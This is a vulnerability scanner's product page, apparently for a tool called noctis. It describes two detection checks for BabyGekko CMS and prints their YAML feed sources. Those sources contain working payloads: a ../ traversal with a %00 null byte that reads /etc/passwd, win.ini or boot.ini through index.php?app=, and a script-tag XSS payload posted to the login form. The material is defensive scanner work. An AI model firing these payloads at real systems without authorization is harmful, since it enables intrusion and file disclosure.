BabyGekko — 2 vulnerability checks
noctis ships 2 vulnerability checks for BabyGekko, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
BabyGekko index.php app Local File Inclusion
| CVE | CVE-2012-5699 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/babygekko/CVE-2012-5699.yaml |
Tests BabyGekko CMS for the local file inclusion in index.php, where the app parameter selects the application file to include without stripping directory traversal sequences. It is exploitable on PHP before 5.3.4 with magic_quotes_gpc disabled. The feed checks the web root and the usual /gekkocms, /babygekko, /cms and /gekko install paths, needs the BabyGekko administration page, login form or home page there, then requests index.php with app set to a chain of ../ followed by etc/passwd and a NUL byte (%00), or windows/win.ini and boot.ini on Windows. The NUL byte cuts off the file suffix that index.php appends, so the page includes the chosen file, and its content in the reply confirms the inclusion. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; root's password field is redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/admin/index.php - HTTP(S) request
GET {{dir}}/users/action/login - HTTP(S) request
GET {{dir}}/ - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php?app=../../../../../../../../../../etc/passwd%00 - Checks
passwd_r.bodyfor(?m)(?:^|>)root:[^:\r\n<]*:0:([01]):([^:\r\n<]*:[^:\r\n<]*:[^:\r\n<]*) - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php?app=../../../../../../../../../../windows/win.ini%00 - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/index.php?app=../../../../../../../../../../boot.ini%00 - Checks
bootini_r.bodyfor(?i)\[boot loader\] - HTTP(S) request
GET {{dir}}/index.php?app=../../../../../../../../../../etc/passwd.win.ini.boot.ini.nocti… - Checks
ctrl_r.bodyfor(?mi)((?:^|>)root:[^:\r\n<]*:0:[01]:|; for 16-bit app support|\[fonts… - Checks
lin_prooffor^root:<redacted>:0:[01]:→ finding QoD 75: BabyGekko index.php app Local File Inclusion (CVE-2012-5699) - … and 1 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-5699
- https://www.exploit-db.com/exploits/22741
- https://www.immuniweb.com/advisory/HTB23122
Feed source — tests/vulnerabilities/babygekko/CVE-2012-5699.yaml
# BabyGekko index.php app parameter local file inclusion — CVE-2012-5699
# (HTB23122, exploit-db 22741, fixed in 1.2.4).
#
# BabyGekko <= 1.2.2e builds the path of the application class it includes from
# the "app" request parameter without stripping directory traversal sequences.
# On PHP < 5.3.4 with magic_quotes_gpc off, a "%00" cuts the appended
# ".class.php" suffix off, so index.php includes any local file the web server
# can read (advisory PoC: /index.php?app=../../../../../../../etc/passwd%00).
#
# Detection (benign, read-only): GET <dir>/index.php?app=<10 x ../>etc/passwd%00
# and match the file CONTENT (root:...:0:[01]:); on Windows installs,
# windows/win.ini then boot.ini. QoD 75 (response analysis). A plain text file
# holds no PHP code, so include() only prints it. "%00" sits in the query
# string, which http_request sends verbatim.
#
# Backlog issue #1316 (ported from OpenVAS/Greenbone NASL
# 2014/gb_babygekko_cms_mult_vuln.nasl, OID 1.3.6.1.4.1.25623.1.0.804856,
# GPL-2.0-only) lists this CVE, but the NASL only sends the login-form XSS
# (babygekko/CVE-2012-5700.yaml). This feed adds the unauthenticated file
# inclusion from the same advisory, with:
# - the NASL's product gate (admin/index.php "Gekko CMS Administration<"),
# or the login page's _csrftoken form, or a BabyGekko mention on the home
# page, so a generic "index.php?app=" include on another product is not
# attributed to this CVE;
# - a control request (same parameter, absent random file) that must come back
# WITHOUT any file signature (fail-closed); the absent name contains
# etc/passwd, win.ini and boot.ini, so a honeypot keying a fake file on
# those substrings is caught too;
# - root's password field redacted before it can reach the finding.
# CVSS 9.8 is the NVD v3.0 score (v2 7.5).
uid: b86ac61a-f2e1-48a0-8ea4-aa3e992d3fd4
name: "BabyGekko index.php app Local File Inclusion (CVE-2012-5699)"
description: |
Tests BabyGekko CMS for the local file inclusion in index.php, where the app
parameter selects the application file to include without stripping
directory traversal sequences. It is exploitable on PHP before 5.3.4 with
magic_quotes_gpc disabled. The feed checks the web root and the usual
/gekkocms, /babygekko, /cms and /gekko install paths, needs the BabyGekko
administration page, login form or home page there, then requests index.php
with app set to a chain of ../ followed by etc/passwd and a NUL byte (%00),
or windows/win.ini and boot.ini on Windows. The NUL byte cuts off the file
suffix that index.php appends, so the page includes the chosen file, and its
content in the reply confirms the inclusion. A control request for an absent
random file must not return any of these files, so a server that serves the
same content on every request is not reported. Only world-readable system
files are read; root's password field is redacted from the evidence.
cves: [CVE-2012-5699]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [babygekko, gekko, cms, lfi, file-inclusion, file-read, null-byte, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-5699"
- "https://www.exploit-db.com/exploits/22741"
- "https://www.immuniweb.com/advisory/HTB23122"
steps:
# ── Loop group: every following step runs once per install dir. Each pass
# resets the values it reads, so nothing is left over from the previous dir.
- id: init-admin
action: set_var
var_name: admin
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/gekkocms", "/babygekko", "/cms", "/gekko"]
- id: init-login
action: set_var
var_name: login
var_value: {status: 0, body: ""}
- id: init-home
action: set_var
var_name: home
var_value: {status: 0, body: ""}
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Product gate ─────────────────────────────────────────────────────────
- id: admin-page
action: http_request
method: GET
path: "{{dir}}/admin/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: admin
- id: login-page
action: http_request
method: GET
path: "{{dir}}/users/action/login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: login
- id: home-page
action: http_request
method: GET
path: "{{dir}}/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: home
- id: gate
action: script
store_as: is_gekko
code: |
(type_of(admin.body) == "string" && stridx(admin.body, "Gekko CMS Administration<") >= 0)
|| (login.status == 200 && type_of(login.body) == "string"
&& egrep("_csrftoken\"[^<>]*value=\"[0-9A-Za-z]*\"|value=\"[0-9A-Za-z]*\"[^<>]*name=\"_csrftoken\"", login.body) != "")
|| (home.status == 200 && type_of(home.body) == "string"
&& egrep("(?i)babygekko", home.body) != "")
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/index.php?app=../../../../../../../../../../etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "is_gekko == true"
store_as: passwd_r
# No on_match: the raw body (root's password field) must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)root:[^:\\r\\n<]*:0:([01]):([^:\\r\\n<]*:[^:\\r\\n<]*:[^:\\r\\n<]*)"
condition: "is_gekko == true"
store_as: passwd_m
- id: passwd-redact
action: script
condition: "is_gekko == true"
code: |
if passwd_m.matched && passwd_m.captures.len() > 1 {
"root:<redacted>:0:" + passwd_m.captures[0] + ":" + passwd_m.captures[1]
} else { "" }
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini (older Windows) ──────────────
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/index.php?app=../../../../../../../../../../windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'is_gekko == true && lin_proof == "" && passwd_r.status != 0'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'is_gekko == true && lin_proof == "" && passwd_r.status != 0'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/index.php?app=../../../../../../../../../../boot.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'is_gekko == true && lin_proof == "" && win_file == "" && passwd_r.status != 0'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'is_gekko == true && lin_proof == "" && win_file == "" && passwd_r.status != 0'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
- id: control
action: http_request
method: GET
path: "{{dir}}/index.php?app=../../../../../../../../../../etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)root:[^:\\r\\n<]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^root:<redacted>:0:[01]:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "BabyGekko index.php app Local File Inclusion (CVE-2012-5699)"
description: "An unauthenticated request to BabyGekko's index.php with app set to a ../ chain ending in etc/passwd%00 returned the content of /etc/passwd, which the page included in place of an application file, while the same request for an absent file did not. The same flaw includes and executes any PHP file an attacker can place on the server."
remediation: "Upgrade BabyGekko to 1.2.4 or later, and run a PHP release that rejects NUL bytes in file paths (5.3.4 or later)."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/index.php?app=../(x10)etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "BabyGekko index.php app Local File Inclusion (CVE-2012-5699)"
description: "An unauthenticated request to BabyGekko's index.php with app set to a ../ chain ending in a Windows system file and %00 returned that file's content, which the page included in place of an application file, while the same request for an absent file did not. The same flaw includes and executes any PHP file an attacker can place on the server."
remediation: "Upgrade BabyGekko to 1.2.4 or later, and run a PHP release that rejects NUL bytes in file paths (5.3.4 or later)."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/index.php?app=../(x10){{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
stop: trueBabyGekko login form username/password reflected cross-site scripting
| CVE | CVE-2012-5700 |
|---|---|
| Severity | medium · CVSS 6.1 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/babygekko/CVE-2012-5700.yaml |
Detects the reflected cross-site scripting in the BabyGekko CMS login form: BabyGekko before 1.2.2f copies the posted username and password back into the login page without escaping. The feed checks the web root and the usual /gekkocms, /babygekko, /cms and /gekko install paths. It needs either the "Gekko CMS Administration" page (admin/index.php) or the users login page (users/action/login) with its _csrftoken form field, reads the session cookie and token from the login page, then posts a login form whose username and password are a double quote, a closing bracket and a script tag carrying a random marker, first to users/action/login and then to index.php (the login box block). The finding fires only when an HTML reply contains that quote and script tag unescaped, outside a single-quoted attribute, which shows the value breaks out of the HTML and an attacker's page can run script in a visitor's browser. The failed login changes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin/index.php - HTTP(S) request
GET {{dir}}/users/action/login - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/users/action/loginwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/index.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
xss_prooffor^(users/action/login|index\.php): \\?"><script>alert\(/noctis[0-9a-f]…→ finding QoD 75: BabyGekko login form reflected XSS (CVE-2012-5700)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-5700
- https://www.exploit-db.com/exploits/22741
- https://www.immuniweb.com/advisory/HTB23122
Feed source — tests/vulnerabilities/babygekko/CVE-2012-5700.yaml
# BabyGekko — reflected XSS through the username / password fields of the login
# form, CVE-2012-5700 (HTB23122, exploit-db 22741, fixed in 1.2.2f).
#
# Ported from OpenVAS/Greenbone NASL 2014/gb_babygekko_cms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804856, GPL-2.0-only), backlog issue #1316. The NASL
# tries "/", /gekkocms, /babygekko, /cms and /gekko: it needs <dir>/admin/index.php
# to contain "Gekko CMS Administration<", reads the session cookie and the
# _csrftoken hidden field from <dir>/users/action/login, then POSTs a multipart
# login form whose username and password are '"><script>alert(document.cookie);</script>'
# to <dir>/users/action/login and looks for the script in the reply. The issue
# lists CVE-2012-5698 (admin-only SQL injection) and CVE-2012-5699 (index.php app
# file inclusion) too: the inclusion is proven by babygekko/CVE-2012-5699.yaml,
# the SQL injection needs an administrator session and is not tested.
#
# Better than the NASL:
# - A random marker replaces document.cookie, so a static page holding the
# well-known string cannot match.
# - The raw quote (or \" from magic_quotes_gpc, still a breakout in HTML) must
# precede the injected tag, and not inside a single-quoted attribute; an
# HTML-escaped reflection is not reported.
# - The advisory's second vector (the loginbox block posting to <dir>/index.php)
# is tried too when the users login page does not reflect.
# - A missing _csrftoken field or session cookie does not stop the probe, and the
# product gate also accepts the login page's _csrftoken form when the admin
# area is moved or blocked.
# CVSS 6.1 is the NVD v3.1 score (v2 4.3).
uid: 8889d329-dfe6-4546-a4dc-01141e50d5d5
name: "BabyGekko login form username/password reflected cross-site scripting (CVE-2012-5700)"
description: |
Detects the reflected cross-site scripting in the BabyGekko CMS login form:
BabyGekko before 1.2.2f copies the posted username and password back into the
login page without escaping. The feed checks the web root and the usual
/gekkocms, /babygekko, /cms and /gekko install paths. It needs either the
"Gekko CMS Administration" page (admin/index.php) or the users login page
(users/action/login) with its _csrftoken form field, reads the session cookie
and token from the login page, then posts a login form whose username and
password are a double quote, a closing bracket and a script tag carrying a
random marker, first to users/action/login and then to index.php (the login
box block). The finding fires only when an HTML reply contains that quote and script
tag unescaped, outside a single-quoted attribute, which shows the value breaks
out of the HTML and an attacker's page can run script in a visitor's browser.
The failed login changes nothing on the server.
cves: [CVE-2012-5700]
cvss: 6.1
severity: medium
category: xss
confidence_base: 0.30
tags: [babygekko, gekko, cms, php, xss]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-5700"
- "https://www.exploit-db.com/exploits/22741"
- "https://www.immuniweb.com/advisory/HTB23122"
steps:
# Random marker for this scan (letters and hex digits only).
- id: marker
action: script
code: |
"noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
store_as: tok
# ── Loop group: every following step runs once per install dir; each pass
# resets the values it reads.
- id: init-admin
action: set_var
var_name: admin
var_value: {status: 0, body: "", headers: {}}
loop:
var: dir
over: ["", "/gekkocms", "/babygekko", "/cms", "/gekko"]
- id: init-login
action: set_var
var_name: login
var_value: {status: 0, body: "", headers: {}}
- id: init-post-users
action: set_var
var_name: post_users
var_value: {status: 0, body: "", headers: {}}
- id: init-post-index
action: set_var
var_name: post_index
var_value: {status: 0, body: "", headers: {}}
- id: init-proof
action: set_var
var_name: xss_proof
var_value: ""
- id: admin-page
action: http_request
method: GET
path: "{{dir}}/admin/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: admin
- id: login-page
action: http_request
method: GET
path: "{{dir}}/users/action/login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: login
# Product gate + session: {ok, cookie, csrf}.
- id: session
action: script
store_as: sess
code: |
let ok = false;
if type_of(admin.body) == "string" && stridx(admin.body, "Gekko CMS Administration<") >= 0 {
ok = true;
}
let csrf = "";
let cookie = "";
if login.status == 200 && type_of(login.body) == "string" {
// name= before or after value= in the hidden input.
let t = eregmatch("_csrftoken\"[^<>]*value=\"([0-9A-Za-z]*)\"", login.body);
if type_of(t) != "array" || t.len() < 2 {
t = eregmatch("value=\"([0-9A-Za-z]*)\"[^<>]*name=\"_csrftoken\"", login.body);
}
if type_of(t) == "array" && t.len() > 1 {
ok = true;
csrf = t[1];
}
}
if type_of(login.headers) == "map" && "set-cookie" in login.headers {
let sc = login.headers["set-cookie"];
if type_of(sc) == "string" {
let c = eregmatch("^\\s*([0-9A-Za-z_]+=[0-9A-Za-z,%-]+)", sc);
if type_of(c) == "array" && c.len() > 1 { cookie = c[1]; }
}
}
#{ ok: ok, cookie: cookie, csrf: csrf }
- id: post-users-login
action: http_request
method: POST
path: "{{dir}}/users/action/login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "sess.ok == true"
headers:
Content-Type: "multipart/form-data; boundary=----noctisGekko5700"
Cookie: "{{sess.cookie}}"
body: "------noctisGekko5700\r\nContent-Disposition: form-data; name=\"login\"\r\n\r\nlogin\r\n------noctisGekko5700\r\nContent-Disposition: form-data; name=\"_csrftoken\"\r\n\r\n{{sess.csrf}}\r\n------noctisGekko5700\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n\"><script>alert(/{{tok}}/)</script>\r\n------noctisGekko5700\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\"><script>alert(/{{tok}}/)</script>\r\n------noctisGekko5700\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------noctisGekko5700--\r\n"
store_as: post_users
- id: reflection-users
action: script
store_as: xss_proof
condition: "sess.ok == true"
code: |
let out = "";
// An HTML page only: a JSON / text echo does not run the script.
let ct = if type_of(post_users.headers) == "map" && "content-type" in post_users.headers { post_users.headers["content-type"] } else { "text/html" };
if type_of(post_users.body) == "string" && type_of(ct) == "string" && egrep("(?i)html", ct) != "" {
// The raw quote (\" under magic_quotes_gpc) right before the injected
// tag, not opened by a single quote, and not HTML-escaped.
let m = eregmatch("(?:^|[^'\\\\])(\\\\?\"><script>alert\\(/" + tok + "/\\)</script>)", post_users.body);
if type_of(m) == "array" && m.len() > 1 { out = "users/action/login: " + m[1]; }
}
out
# Advisory vector: the login box block posts to index.php.
- id: post-index-login
action: http_request
method: POST
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'sess.ok == true && xss_proof == ""'
headers:
Content-Type: "multipart/form-data; boundary=----noctisGekko5700"
Cookie: "{{sess.cookie}}"
body: "------noctisGekko5700\r\nContent-Disposition: form-data; name=\"login\"\r\n\r\nlogin\r\n------noctisGekko5700\r\nContent-Disposition: form-data; name=\"_csrftoken\"\r\n\r\n{{sess.csrf}}\r\n------noctisGekko5700\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n\"><script>alert(/{{tok}}/)</script>\r\n------noctisGekko5700\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\"><script>alert(/{{tok}}/)</script>\r\n------noctisGekko5700\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------noctisGekko5700--\r\n"
store_as: post_index
- id: reflection-index
action: script
store_as: xss_proof
condition: 'sess.ok == true && xss_proof == ""'
code: |
let out = "";
// An HTML page only: a JSON / text echo does not run the script.
let ct = if type_of(post_index.headers) == "map" && "content-type" in post_index.headers { post_index.headers["content-type"] } else { "text/html" };
if type_of(post_index.body) == "string" && type_of(ct) == "string" && egrep("(?i)html", ct) != "" {
let m = eregmatch("(?:^|[^'\\\\])(\\\\?\"><script>alert\\(/" + tok + "/\\)</script>)", post_index.body);
if type_of(m) == "array" && m.len() > 1 { out = "index.php: " + m[1]; }
}
out
- id: report
action: match
source: xss_proof
pattern: '^(users/action/login|index\.php): \\?"><script>alert\(/noctis[0-9a-f]{12}/\)</script>$'
on_match:
finding:
title: "BabyGekko login form reflected XSS (CVE-2012-5700)"
description: "BabyGekko copied a posted username and password starting with a double quote back into the login page without escaping, so the quote closes the HTML attribute and the injected script tag becomes part of the page. An attacker's web page can submit such a login form and run script in the browser of a visitor of the site."
remediation: "Upgrade BabyGekko to 1.2.2f or later (1.2.4 also fixes the related file inclusion and SQL injection)."
confidence_delta: 0.55
qod: 75
evidence: "POST {{dir}}/users/action/login or {{dir}}/index.php with username/password '\"><script>alert(/<marker>/)</script>' reflected unescaped: {{xss_proof}}"
stop: true